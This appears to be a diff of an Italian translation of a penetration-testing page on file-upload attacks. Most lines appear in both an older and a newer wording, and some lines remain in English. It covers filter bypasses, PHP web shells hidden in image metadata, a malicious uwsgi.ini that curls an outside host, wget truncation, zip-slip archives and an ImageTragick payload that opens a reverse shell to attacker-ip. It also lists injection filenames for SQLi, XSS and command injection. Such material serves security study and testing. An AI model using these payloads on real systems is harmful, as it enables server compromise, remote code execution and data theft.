||||
- Bypass dei controlli sul **Content-Type** impostando il **valore** dell'header **Content-Type** su: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Wordlist per Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Bypass del controllo del **magic number** aggiungendo all'inizio del file i **byte di una vera immagine** (confondi il comando _file_). Oppure inserisci la shell nei **metadata**:\
|
||||
- Bypass dei controlli **Content-Type** impostando il **valore** dell'header **Content-Type** a: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Bypass del controllo del **magic number** aggiungendo all'inizio del file i **byte di una vera immagine** (per confondere il comando _file_). Oppure inserire la shell all'interno dei **metadata**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` oppure potresti anche **inserire il payload direttamente** in un'immagine:\
|
||||
`\` oppure puoi anche **introdurre il payload direttamente** in un'immagine:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Se viene applicata una **compressione** all'immagine, per esempio usando librerie PHP standard come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi usare il chunk **PLTE** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- La pagina web potrebbe anche **ridimensionare** l'**immagine**, usando per esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi usare il chunk **IDAT** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento dell'immagine**, usando la funzione PHP-GD `thumbnailImage`. In alternativa, puoi usare il chunk **tEXt** [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
- Se viene applicata una **compressione** all'immagine, ad esempio usando alcune librerie standard PHP come [PHP-GD](https://www.php.net/manual/fr/book.image.php), le tecniche precedenti non saranno utili. Tuttavia, puoi usare il chunk PLTE [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**.
|
||||
- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- La pagina web potrebbe anche **ridimensionare** l'immagine, usando ad esempio le funzioni PHP-GD `imagecopyresized` o `imagecopyresampled`. Tuttavia, puoi usare il chunk IDAT [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**.
|
||||
- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Un'altra tecnica per creare un payload che **sopravvive a un ridimensionamento**, usando la funzione PHP-GD `thumbnailImage`. Tuttavia, puoi usare il chunk tEXt [**tecnica definita qui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) per inserire del testo che **sopravvive alla compressione**.
|
||||
- [**Github con il codice**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Altri trucchi da controllare
|
||||
### Altri trucchi da verificare
|
||||
|
||||
- Trova una vulnerabilità che permetta di **rinominare** il file già caricato (per cambiare l'estensione).
|
||||
- Trova una vulnerabilità di **Local File Inclusion** per eseguire il backdoor.
|
||||
- **Possibili Information disclosure**:
|
||||
- **Possibili divulgazioni di informazioni**:
|
||||
1. Carica **più volte** (e **allo stesso tempo**) lo **stesso file** con lo **stesso nome**
|
||||
2. Carica un file con il **nome** di un **file** o **cartella** che **esiste già**
|
||||
3. Caricare un file con nome **"." , ".." o "…”**. Per esempio, in Apache su **Windows**, se l'applicazione salva i file caricati in "/www/uploads/" il filename "." creerà un file chiamato "uploads" in "/www/".
|
||||
4. Carica un file che potrebbe non essere facilmente eliminabile come **"…:.jpg”** in **NTFS**. (Windows)
|
||||
5. Carica un file in **Windows** con **caratteri non validi** come `|<>*?”` nel nome. (Windows)
|
||||
6. Carica un file in **Windows** usando nomi **riservati** (**vietati**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
|
||||
- Prova anche a **caricare un eseguibile** (.exe) o un **.html** (meno sospetto) che **eseguirà codice** se accidentalmente aperto dalla vittima.
|
||||
3. Caricare un file con **".", ".." o "..." come nome**. Per esempio, in Apache su **Windows**, se l'applicazione salva i file uploadati in "/www/uploads/" la filename "." creerà un file chiamato "uploads" in "/www/".
|
||||
4. Carica un file che potrebbe non essere eliminato facilmente come **"...:.jpg"** su **NTFS**. (Windows)
|
||||
5. Carica un file su **Windows** con **caratteri non validi** come `|<>*?”` nel nome. (Windows)
|
||||
6. Carica un file su **Windows** usando nomi **riservati** (**vietati**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9.
|
||||
- Prova anche a **caricare un eseguibile** (.exe) o un **.html** (meno sospetto) che **eseguirà codice** quando accidentalmente aperto dalla vittima.
|
||||
|
||||
### Trucchi speciali con le estensioni
|
||||
### Trucchi con estensioni speciali
|
||||
|
||||
Se stai cercando di caricare file su un **PHP server**, [dai un'occhiata al trucco **.htaccess** per eseguire codice](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Se stai cercando di caricare file su un **ASP server**, [dai un'occhiata al trucco **.config** per eseguire codice](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
Se stai cercando di caricare file su un server **PHP**, [dai un'occhiata al trucco **.htaccess** per eseguire codice](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Se stai cercando di caricare file su un server **ASP**, [dai un'occhiata al trucco **.config** per eseguire codice](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
I file `.phar` sono come i `.jar` per java, ma per php, e possono essere **usati come un file php** (eseguendoli con php, o includendoli dentro uno script...)
|
||||
I file `.phar` sono come i `.jar` per Java, ma per PHP, e possono essere **usati come un file php** (eseguiti con php, o inclusi dentro uno script...)
|
||||
|
||||
L'estensione `.inc` è a volte usata per file php che vengono soltanto **inclusi**, quindi, in alcuni casi, qualcuno potrebbe aver permesso che **questa estensione venga eseguita**.
|
||||
L'estensione `.inc` è a volte usata per file php che servono solo per **includere altri file**, quindi, a un certo punto, qualcuno potrebbe aver permesso che **questa estensione venisse eseguita**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
|
||||
Se puoi caricare un file XML in un server Jetty puoi ottenere [RCE perché i nuovi \*.xml e \*.war vengono processati automaticamente](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Quindi, come indicato nell'immagine seguente, carica il file XML in $JETTY_BASE/webapps/ e aspetta la shell!
|
||||
|
||||
.png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
Per un'esplorazione dettagliata di questa vulnerabilità consulta la ricerca originale: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
|
||||
Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la possibilità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI usano una sintassi specifica per incorporare variabili "magiche", placeholder e operatori. In particolare, l'operatore '@', usato come `@(filename)`, è progettato per includere il contenuto di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, permettendo la lettura dei dati dallo standard output di un processo. Questa funzionalità può essere manipolata per scopi malevoli come Remote Command Execution o Arbitrary File Write/Read quando viene processato un file di configurazione `.ini`.
|
||||
|
||||
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
|
||||
Considera il seguente esempio di un file `uwsgi.ini` dannoso, che mostra vari schemi:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -126,15 +126,15 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
L'esecuzione del payload avviene durante il parsing del file di configurazione. Perché la configurazione venga attivata e parsata, il processo uWSGI deve essere riavviato (potenzialmente dopo un crash o a causa di un attacco Denial of Service) oppure il file deve essere impostato su auto-reload. La funzionalità di auto-reload, se abilitata, ricarica il file a intervalli specificati quando vengono rilevate modifiche.
|
||||
L'esecuzione del payload avviene durante il parsing del file di configurazione. Perché la configurazione venga attivata e parsata, il processo uWSGI deve essere riavviato (potenzialmente dopo un crash o a causa di un Denial of Service) oppure il file deve essere impostato su auto-reload. La funzionalità auto-reload, se abilitata, ricarica il file a intervalli specificati quando rileva modifiche.
|
||||
|
||||
È cruciale comprendere la natura permissiva del parsing del file di configurazione di uWSGI. Nello specifico, il payload discusso può essere inserito in un file binario (ad esempio un'immagine o un PDF), ampliando ulteriormente la portata della possibile exploitation.
|
||||
È cruciale comprendere la natura permissiva del parsing dei file di configurazione di uWSGI. Più nello specifico, il payload discusso può essere inserito in un file binario (ad esempio un'immagine o un PDF), ampliando ulteriormente la portata della potenziale exploitation.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
## **wget File Upload/SSRF Trucco**
|
||||
|
||||
In alcune occasioni potresti trovare che un server stia usando **`wget`** per **scaricare file** e puoi **indicare** l'**URL**. In questi casi, il codice potrebbe verificare che l'estensione dei file scaricati sia presente in una whitelist per assicurarsi che vengano scaricati solo file consentiti. Tuttavia, **questo controllo può essere bypassato.**\
|
||||
In alcune occasioni potresti scoprire che un server sta usando **`wget`** per **scaricare file** e puoi **indicare** l'**URL**. In questi casi, il codice potrebbe controllare che l'estensione dei file scaricati sia all'interno di una whitelist per assicurarsi che vengano scaricati solo file consentiti. Tuttavia, **questa verifica può essere bypassata.**\
|
||||
|
||||
La **lunghezza massima** di un **filename** in **linux** è **255**, tuttavia **wget** tronca i nomi di file a **236** caratteri. Puoi **scaricare un file chiamato "A"\*232+".php"+".gif"**, questo filename **bypasserà** il **controllo** (come in questo esempio **".gif"** è un'estensione **valida**) ma `wget` **rinominerà** il file in **"A"\*232+".php"**.
|
||||
La **lunghezza massima** di un **nome file** in **linux** è **255**, tuttavia, **wget** tronca i nomi dei file a **236** caratteri. Puoi **scaricare un file chiamato "A"\*232+".php"+".gif"**, questo nome file **bypass** il **controllo** (poiché in questo esempio **".gif"** è un'**estensione valida**) ma `wget` rinominerà il file in **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -157,35 +157,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Nota che **un'altra opzione** a cui potresti pensare per bypassare questo controllo è far sì che il **server HTTP reindirizzi a un file diverso**, così l'URL iniziale bypasserà il controllo e poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non sia usato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**.
|
||||
Nota che **un'altra opzione** a cui potresti pensare per bypassare questo controllo è far sì che il **server HTTP reindirizzi a un file diverso**, così l'URL iniziale supererà il controllo e poi wget scaricherà il file reindirizzato con il nuovo nome. Questo **non funzionerà** **a meno che** wget non venga usato con il **parametro** `--trust-server-names` perché **wget scaricherà la pagina reindirizzata con il nome del file indicato nell'URL originale**.
|
||||
|
||||
## Strumenti
|
||||
## Tools
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) è un tool potente progettato per assistere Pentesters e Bug Hunters nel testing dei meccanismi di file upload. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle applicazioni web.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) è uno strumento potente progettato per assistere Pentesters e Bug Hunters nel testare i meccanismi di file upload. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle web application.
|
||||
|
||||
### Corruzione degli indici di upload con le stranezze di snprintf (storico)
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
|
||||
Alcuni handler di upload legacy che usano `snprintf()` o simili per costruire array multi-file da un singolo upload possono essere ingannati nel forgiare la struttura `_FILES`. A causa di incoerenze e troncamenti nel comportamento di `snprintf()`, un singolo upload attentamente costruito può apparire come più file indicizzati lato server, confondendo la logica che assume una forma rigorosa (es. trattandolo come un upload multi-file e prendendo branch non sicuri). Pur essendo oggi di nicchia, questo pattern di “index corruption” riemerge occasionalmente in CTF e in codebase più vecchie.
|
||||
Alcuni handler di upload legacy che usano `snprintf()` o funzioni simili per costruire array multi-file da un singolo upload possono essere ingannati nel falsificare la struttura `_FILES`. A causa di incoerenze e troncamenti nel comportamento di `snprintf()`, un singolo upload appositamente costruito può apparire come più file indicizzati lato server, confondendo la logica che assume una forma rigorosa (es. trattandolo come upload multi-file e prendendo branche non sicure). Pur essendo niche oggi, questo pattern di “index corruption” riemerge occasionalmente in CTF e codebase più datate.
|
||||
|
||||
## From File upload to other vulnerabilities
|
||||
|
||||
- Imposta **filename** su `../../../tmp/lol.png` e prova a ottenere un **path traversal**
|
||||
- Imposta **filename** su `sleep(10)-- -.jpg` e potresti ottenere una **SQL injection**
|
||||
- Imposta **filename** su `<svg onload=alert(document.domain)>` per ottenere una XSS
|
||||
- Imposta **filename** su `; sleep 10;` per testare qualche command injection (altre [command injections tricks here](../command-injection.md))
|
||||
- Imposta **filename** su `sleep(10)-- -.jpg` e potresti riuscire a ottenere una **SQL injection**
|
||||
- Imposta **filename** su `<svg onload=alert(document.domain)>` per ottenere una **XSS**
|
||||
- Imposta **filename** su `; sleep 10;` per testare qualche command injection (more [command injections tricks here](../command-injection.md))
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Prova **diversi payload svg** da [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [Famosa vulnerabilità **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Se puoi indicare al web server di recuperare un'immagine da un URL potresti provare ad abusare di una [SSRF](../ssrf-server-side-request-forgery/index.html). Se questa **image** verrà **salvata** in qualche sito **pubblico**, potresti anche indicare un URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni di ogni visitatore**.
|
||||
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Se puoi **indicare al web server di recuperare un'immagine da un URL** potresti provare ad abusare di un [SSRF](../ssrf-server-side-request-forgery/index.html). Se questa **image** verrà **salvata** in qualche sito **pubblico**, potresti anche indicare un URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni di ogni visitatore**.
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- PDF appositamente creati per XSS: la pagina seguente mostra come **inject PDF data to obtain JS execution** (se puoi uploadare PDF potresti preparare un PDF che eseguirà JS arbitrario seguendo le indicazioni fornite) — [../xss-cross-site-scripting/pdf-injection.md](../xss-cross-site-scripting/pdf-injection.md)
|
||||
- Carica il \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content per verificare se il server ha un **antivirus**
|
||||
- Verifica se esiste un **size limit** nel caricamento dei file
|
||||
- PDF appositamente costruiti per XSS: la [pagina seguente mostra come **iniettare dati PDF per ottenere l'esecuzione di JS**](../xss-cross-site-scripting/pdf-injection.md). Se puoi uploadare PDF potresti preparare un PDF che esegua JS arbitrario seguendo le indicazioni fornite.
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
|
||||
- Verifica se esiste un **limite di dimensione** per l'upload dei file
|
||||
|
||||
Ecco una top 10 delle cose che puoi ottenere caricando (da [qui](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
@ -210,15 +210,15 @@ https://github.com/portswigger/upload-scanner
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Fai riferimento a [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) per altri filetypes.
|
||||
Consulta [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) per altri tipi di file.
|
||||
|
||||
## Zip/Tar File Automatically decompressed Upload
|
||||
|
||||
Se puoi uploadare uno ZIP che verrà decompresso all'interno del server, puoi fare 2 cose:
|
||||
Se puoi uploadare una ZIP che verrà decompressa all'interno del server, puoi fare 2 cose:
|
||||
|
||||
### Symlink
|
||||
|
||||
Carica un archivio contenente soft link verso altri file; poi, accedendo ai file decompressi accederai ai file linkati:
|
||||
Carica un archivio contenente soft link ad altri file, quindi, accedendo ai file decompressi accederai ai file linkati:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
@ -226,7 +226,7 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Decomprimere in cartelle diverse
|
||||
|
||||
La creazione inattesa di file in directory durante la decompressione è un problema significativo. Nonostante l'ipotesi iniziale che questa configurazione potesse impedire OS-level command execution tramite upload di file malevoli, il supporto alla compressione gerarchica e le capacità di directory traversal del ZIP archive format possono essere sfruttati. Questo permette agli attaccanti di bypassare le restrizioni ed evadere le directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione target.
|
||||
La creazione inattesa di file in directory durante la decompressione è un problema significativo. Nonostante le ipotesi iniziali che questa configurazione potesse proteggere dall'esecuzione di comandi a livello OS tramite upload di file malevoli, il supporto gerarchico della compressione e le capacità di directory traversal del formato di archivio ZIP possono essere sfruttate. Questo permette agli attaccanti di aggirare le restrizioni e uscire dalle directory di upload sicure manipolando la funzionalità di decompressione dell'applicazione target.
|
||||
|
||||
Un exploit automatizzato per creare tali file è disponibile su [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilità può essere usata come mostrato:
|
||||
```python
|
||||
@ -235,9 +235,9 @@ python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Inoltre, il **symlink trick with evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, dovrebbe essere creato un symlink a quel file nel tuo sistema. Questo garantisce che evilarc non incontri errori durante il suo funzionamento.
|
||||
Inoltre, l'**symlink trick with evilarc** è un'opzione. Se l'obiettivo è mirare a un file come `/flag.txt`, dovresti creare un symlink a quel file nel tuo sistema. Questo garantisce che evilarc non incontri errori durante la sua operazione.
|
||||
|
||||
Di seguito un esempio di codice Python utilizzato per creare un zip file malevolo:
|
||||
Di seguito è riportato un esempio di codice Python usato per creare un file zip malevolo:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
@ -259,7 +259,7 @@ create_zip()
|
||||
|
||||
Per maggiori dettagli **consulta il post originale su**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Creazione di una PHP Shell**: Il codice PHP viene scritto per eseguire comandi passati tramite la variabile `$_REQUEST`.
|
||||
1. **Creating a PHP Shell**: Viene scritto codice PHP per eseguire comandi passati tramite la variabile `$_REQUEST`.
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -276,7 +276,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Modifica con un hex editor o vi**: I nomi dei file all'interno dello zip vengono modificati usando vi o un hex editor, cambiando "xxA" in "../" per attraversare le directory.
|
||||
3. **Modification with a Hex Editor or vi**: I nomi dei file all'interno dello zip vengono modificati usando vi o un editor esadecimale, sostituendo "xxA" con "../" per attraversare le directory.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -286,40 +286,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
Carica questo contenuto con un'estensione immagine per sfruttare la vulnerabilità **(ImageMagick , 7.0.1-1)** (dall'[exploit](https://www.exploit-db.com/exploits/39767))
|
||||
Carica questo contenuto con un'estensione immagine per sfruttare la vulnerabilità **(ImageMagick, 7.0.1-1)** (dal [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||
pop graphic-context
|
||||
```
|
||||
## Embedding PHP Shell on PNG
|
||||
## Incorporare PHP Shell in PNG
|
||||
|
||||
Incorporare una PHP shell nel chunk IDAT di un file PNG può bypassare efficacemente alcune operazioni di elaborazione delle immagini. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, essendo comunemente usate per ridimensionare e ricampionare le immagini, rispettivamente. La capacità della PHP shell incorporata di rimanere inalterata da queste operazioni è un vantaggio significativo per alcuni casi d'uso.
|
||||
Incorporare una PHP shell nel chunk IDAT di un file PNG può bypassare efficacemente alcune operazioni di image processing. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, essendo comunemente usate rispettivamente per il ridimensionamento e il resampling delle immagini. La capacità della PHP shell incorporata di rimanere inalterata da queste operazioni rappresenta un vantaggio significativo in alcuni casi d'uso.
|
||||
|
||||
Un'esplorazione dettagliata di questa tecnica, inclusa la metodologia e le potenziali applicazioni, è fornita nel seguente articolo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione approfondita del processo e delle sue implicazioni.
|
||||
Una esplorazione dettagliata di questa tecnica, inclusa la metodologia e le potenziali applicazioni, è disponibile nel seguente articolo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione completa del processo e delle sue implicazioni.
|
||||
|
||||
Ulteriori informazioni in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Polyglot Files
|
||||
## File Polyglot
|
||||
|
||||
I Polyglot files fungono da strumento unico nella sicurezza informatica, agendo come camaleonti che possono validamente esistere in più formati di file contemporaneamente. Un esempio interessante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF sia come RAR archive. Questi file non si limitano a questa coppia; combinazioni come GIF e JS o PPT e JS sono anch'esse possibili.
|
||||
I file polyglot fungono da strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio interessante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF che come archivio RAR. Questi file non sono limitati a questa coppia; sono possibili anche combinazioni come GIF e JS o PPT e JS.
|
||||
|
||||
L'utilità principale dei polyglot files risiede nella loro capacità di eludere misure di sicurezza che filtrano i file in base al tipo. Nella pratica comune di molte applicazioni si permette solo l'upload di certi tipi di file—come JPEG, GIF o DOC—per mitigare il rischio rappresentato da formati potenzialmente dannosi (es. JS, PHP o Phar). Tuttavia, un polyglot, conformandosi ai criteri strutturali di più tipi di file, può furtivamente aggirare queste restrizioni.
|
||||
L'utilità principale dei polyglot risiede nella loro capacità di eludere misure di sicurezza che filtrano i file in base al tipo. Una pratica comune in molte applicazioni consiste nel permettere solo determinati tipi di file per l'upload — come JPEG, GIF, o DOC — per mitigare il rischio posto da formati potenzialmente dannosi (es. JS, PHP, o Phar). Tuttavia, un polyglot, conformandosi ai criteri strutturali di più tipi di file, può aggirare furtivamente queste restrizioni.
|
||||
|
||||
Nonostante la loro adattabilità, i polyglot incontrano limitazioni. Per esempio, mentre un polyglot potrebbe incarnare simultaneamente un file PHAR (PHp ARchive) e un JPEG, il successo del suo upload potrebbe dipendere dalle politiche sulle estensioni del sistema. Se il sistema è rigoroso sulle estensioni consentite, la mera dualità strutturale di un polyglot potrebbe non essere sufficiente a garantirne l'upload.
|
||||
Nonostante la loro adattabilità, i polyglot incontrano dei limiti. Per esempio, mentre un polyglot potrebbe incarnare simultaneamente un file PHAR (PHp ARchive) e un JPEG, il successo del suo upload potrebbe dipendere dalle policy della piattaforma riguardo alle estensioni dei file. Se il sistema è rigoroso sulle estensioni consentite, la semplice dualità strutturale di un polyglot potrebbe non essere sufficiente a garantire l'upload.
|
||||
|
||||
Ulteriori informazioni in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### Upload valid JSONs like if it was PDF
|
||||
### Caricare JSON validi come se fossero PDF
|
||||
|
||||
Come evitare il rilevamento del tipo di file caricando un file JSON valido anche se non consentito, falsificando un file PDF (tecniche da **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
Come evitare il rilevamento del tipo di file caricando un file JSON valido anche se non consentito, fingendo un file PDF (tecniche tratte da **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
